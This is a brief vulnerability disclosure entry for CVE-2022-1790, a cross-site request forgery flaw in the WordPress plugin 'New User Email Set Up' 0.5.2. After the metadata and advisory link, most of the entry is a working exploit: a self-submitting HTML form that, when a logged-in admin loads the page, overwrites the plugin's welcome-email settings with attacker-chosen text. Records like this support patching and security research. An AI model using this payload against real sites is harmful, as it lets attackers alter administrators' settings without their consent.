CVE: CVE-2022-1790

Name: New User Email Set Up (new-user-email-set-up)

Version: 0.5.2

Date: 2022-04-20 20:50:15

Advisory: https://wpscan.com/vulnerability/176d5761-4f01-4173-a70c-6052a6a9963e

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=new-user-email-set-up%2Fnewuseremailsetup.php" method="POST">
    <input type="text" name="option_page" value="nue-options-group">
    <input type="text" name="action" value="update">
    <input type="text" name="newuseremailhtml" value="text/HTML">
    <input type="text" name="newuseremailsubject" value="Welcome to hacked">
    <input type="text" name="newuseremailtext" value="hacked							">
    <input type="text" name="newuseremailfromaddress" value="Enter your admin email here">
    <input type="text" name="newuseremailfrom" value="Enter the name you want your admin email sent from here. eg. Admin">
    <input type="text" name="nue_submit" value="Save">
    <input type="text" name="newuseremailadmin" value="yes">
    <input type="text" name="newuseremailadminnotifydiff" value="no">
    <input type="text" name="newuseremailadminsubject" value="%blogname% - New User Registration">
    <input type="text" name="newuseremailadmintext" value="aaa">
    <input type="text" name="cmd" value="_s-xclick">
</form>
<script>
    document.forms[0].submit();
</script>